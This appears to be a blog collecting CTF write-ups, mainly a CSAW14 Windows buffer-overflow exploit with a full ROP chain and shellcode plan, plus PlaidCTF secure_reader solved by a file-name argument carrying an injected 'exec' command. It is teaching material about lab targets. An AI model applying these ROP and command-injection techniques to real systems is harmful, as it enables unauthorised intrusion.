Monday, September 22, 2014

CSAW14 Exploitation 400 - Greenhornd Write-Up

This was a windows exploitation challenge and was incredibly easy, overvalued and under solved.

When the binary is first run, or connected to, it asks for a password, it can be found with strings or just by looking at the dissassembly.

.text:00D8105C 414 push    offset Str2     ; "GreenhornSecretPassword!!!"
.text:00D81061 418 lea     ecx, [ebp+Str1]
.text:00D81067 418 push    ecx             ; Str1
.text:00D81068 41C call    ds:strncmp
.text:00D8106E 41C add     esp, 0Ch
.text:00D81071 410 test    eax, eax
.text:00D81073 410 jz      short loc_


After the password is successfully entered, you're presented with a menu.

Greenhorn Menu:
--------------
        (D)ebugging
        (S)tatic Analysis
        S(h)ellcode
        (A)SLR
        (N)X/DEP
        (V)ulnerability
        (Q)uit

Selection:


There are two options on this menu that need to be used to exploit the vulnerability. The first option is the ASLR option. At the end of the text it presents you that describes how ASLR works on windows it contains the exebase-0x00400000 and ebp-08h. The exebase allows us to use ROP chains from the executable, and ebp-08h gives us a stack address we can use for offsets.

The actual vulnerability was a buffer overflow. The Vulnerability page asked for exactly 1024 bytes of data, the length of the buffer, but it read in 2048 bytes of data.

Besides ROP gadgets my ROP chain called two functions in the binary. The first did a call to VirtualAlloc that I could control to set flProtect to PAGE_EXECUTE_READWRITE and the second read in the shellcode to that new allocation.

.text:00D811C0     ; int __cdecl CallsVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flProtect, int *memAddr)

The way I called this function was CallsVirtualAlloc(NULL, 0x2048, PAGE_EXECUTE_READWRITE, stackAddr);

The address of the allocated memory would be stored in that last parameter.

The second function I called was

00D81600     ; int __cdecl ReadBytes(char *destBuffer, int nBytes, char stopChar)

It would read either nBytes or until it encountered stopChar from stdin into the destBuffer. When connecting remotely stdin/out was redirected to the socket.

My ROP chain ended up being

ropstack  = padr(0x00D811C0) #Calls virtual alloc

ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
                             #That ROP chain effectively doess add esp, 10h;

ropstack += pvar(0x00000000) #lpAddress
ropstack += pvar(0x00002048) #dwSize)
ropstack += pvar(0x00000040) #PAGE_EXE_RW
ropstack += pvar(stack-0x400)#where to store ret addr

ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
                             #we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
ropstack += pvar(stack-0x300)#ecx value
ropstack += pvar(stack+0x0C) #ebp value
ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
                             #This ROP gadget lets me get the address of the allocated memory off of the stack
                             #and into a register

ropstack += pvar(stack+0x54) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
                             #I used this rop chain twice to overwrite the parameters passed to ReadBytes
                             #below

ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
ropstack += pvar(stack+0x58) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;


ropstack += padr(0x00D81600) #ReadBytes

ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)

ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
ropstack += pvar(len(shellcode))
ropstack += pvar(0x000000090) #stop char


Full script here

padr() fixes an address for the ASLR slide and packs it, pvar() is just used to the text lines up nicely.

That will get you shellcode execution, the script has a small amount of shellcode embedded in it which gets the base address of kernel32 and places it into EAX. I wrote my shellcode in C and compiled it with MSVC and then extracted the machinecode into a file called gnarlyshellcode. My shellcode walked kernel32's export directory and got the address of the functions CreateFileA, ReadFile, WriteFile, and GetStdHandle. After which the process to send the flag to stdout/socket was very simple.

HANDLE hKeyFile = CreateFileA("key", GENERIC_READ, 7, NULL, 4, FILE_ATTRIBUTE_NORMAL, NULL);
char keyData[100];
ReadFile(hKeyFile, &keyData, 100, NULL, NULL);
WriteFile(GetStdHandle(-11), keyData, 100, NULL, NULL);

CSAW14 Reverse Engineering 300 - Weissman Write-Up

This challenge consisted of a mystery file, weissman.csawlz that you had to extract the key out of somehow. Going from the extension it was some sort of compressed archive format. I started it after the hint was given out which confirmed that it was. The hint was

HINT:

CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)

typedef struct _hdr {
    uint8_t magic[8];
    uint32_t version;
    uint32_t num_files;
} hdr;

typedef struct _entry {
    uint32_t magic;
    uint32_t compressed_size;
    uint32_t uncompressed_size;
    uint8_t filename[32];
} entry;



Using that hint I wrote a very simple program that separated the different compressed files for easier viewing in a hex editor. After staring at it for an hour and a half, I figured out the data was encoded. The first byte encoded the length of the run and whether or not the run was compressed. If the run was compressed, the next two bytes were a hash of a previous run that contained the data for this run. There was no way to know what hashing algorithm was used, so this challenge was impossible to complete non-hackily.

Read byte
If byte&1, the next run is uncompressed
Length = byte>>1

If the next run is uncompressed, write the uncompressed bytes to file. If the next run is compressed, write NULLs instead.

After decompressing the files as best I could, I ended up with a corrupted key.jpeg. I downloaded JPEG Recovery Pro 5 trial and let it do it's magic on the JPEG and I ended up with two JPEGs.

 and
Enough of the key was visible in both of these JPEGs for me to submit it and get the points for my team. The key ended up being

key{ I know how long it'd take me, and I can prove it }

CSAW14 Noob Challenge Write-Ups

Exploitation 100, Reverse Engineering 100, 200, and Forensics 100 can all be solved by running strings, the key will be plainly visible. RE100 is slightly evil though, if you actually run it, it will start a fork bomb.

The solution to Exploitation 200 can be found by googling "breaking out of python sandbox". You'll end up at https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ and after scrolling down a bit you will find the exact command you need to enter to get the flag.

Forensics 200-sftp's solution is to simply extract the ZIP file data out of the plain ftp stream, inside is a flag.png which contains the flag.

Forensics 200-Obscurity can be solved by uploading the PDF to Google Docs and converting it to a Google doc. The hidden text which contains the key will be clearly visible at the bottom of the document.

Networking 100's flag is clearly visible in the telnet stream in the pcap. Most people got hung up because they thought the flag would be in the BitTorrent traffic.

Sunday, April 28, 2013

PlaidCTF secure_reader

Target: Linux box with a flag

Secure_reader was the easiest pwning challenge, at 150 points. As I no longer have access to the box, terminal I/O will be fake.

Situation

When you ssh into the box, you find 3 files inside /home/securereader: reader(ELF) secure_reader(ELF) and flag(plaintext). The flag was only readable by the securereader user, secure_reader was a setuid executable, and reader was just a plain ol' executable.

I ran secure_reader and reader to see what would happen.

>./reader
Syntax: ./reader <file>

>./reader flag
File is not in a whitelisted directory!

>./secure_reader flag
Must be run by /home/securereader/reader!

Pwning

So I opened up reader in my favorite disassembler, and found out the only whitelisted directories are /tmp. After looking around /tmp, I see /tmp/flag with the same filesize and permissions as /home/securereader/flag. I'm unsure as to whether it was inside /tmp from the start, or if previous solvers had managed to get it there, but that didn't matter, I was there to read the flag, not worry about how it got there.

>/home/securereader/reader /tmp/flag
Must be run by /home/securereader/reader!

How strange, even though secure_reader is getting called by reader it is still saying it is not. After looking at the disassembly of secure_reader and reader, I figured out that it was because reader invokes secure_reader via system(). This causes the parent process of secure_reader to be a shell, and not reader. Since it's a setuid process, we can't use GDB to patch the call to system with a call to exec, but what we can do is inject commands into the spawned shell. The exec command will do nicely, it runs an executable with the parent process of the shell. The parent process of the shell is reader, so secure_reader's check should pass. To inject commands into the shell, all we have to do is add a semicolon somewhere in the filename, after which will be new commands to run. I don't remember why I used the environment variables, but it worked, didn't it?

teamXXX@securereader:/tmp$ PATH="/home/securereader:$PATH" flag="/tmp/flag" /home/securereader/reader "/tmp/234;exec secure_reader \$flag"
This may only be called by /home/securereader/reader
that_was_totally_a_good_idea
 
Yay! Got the flag!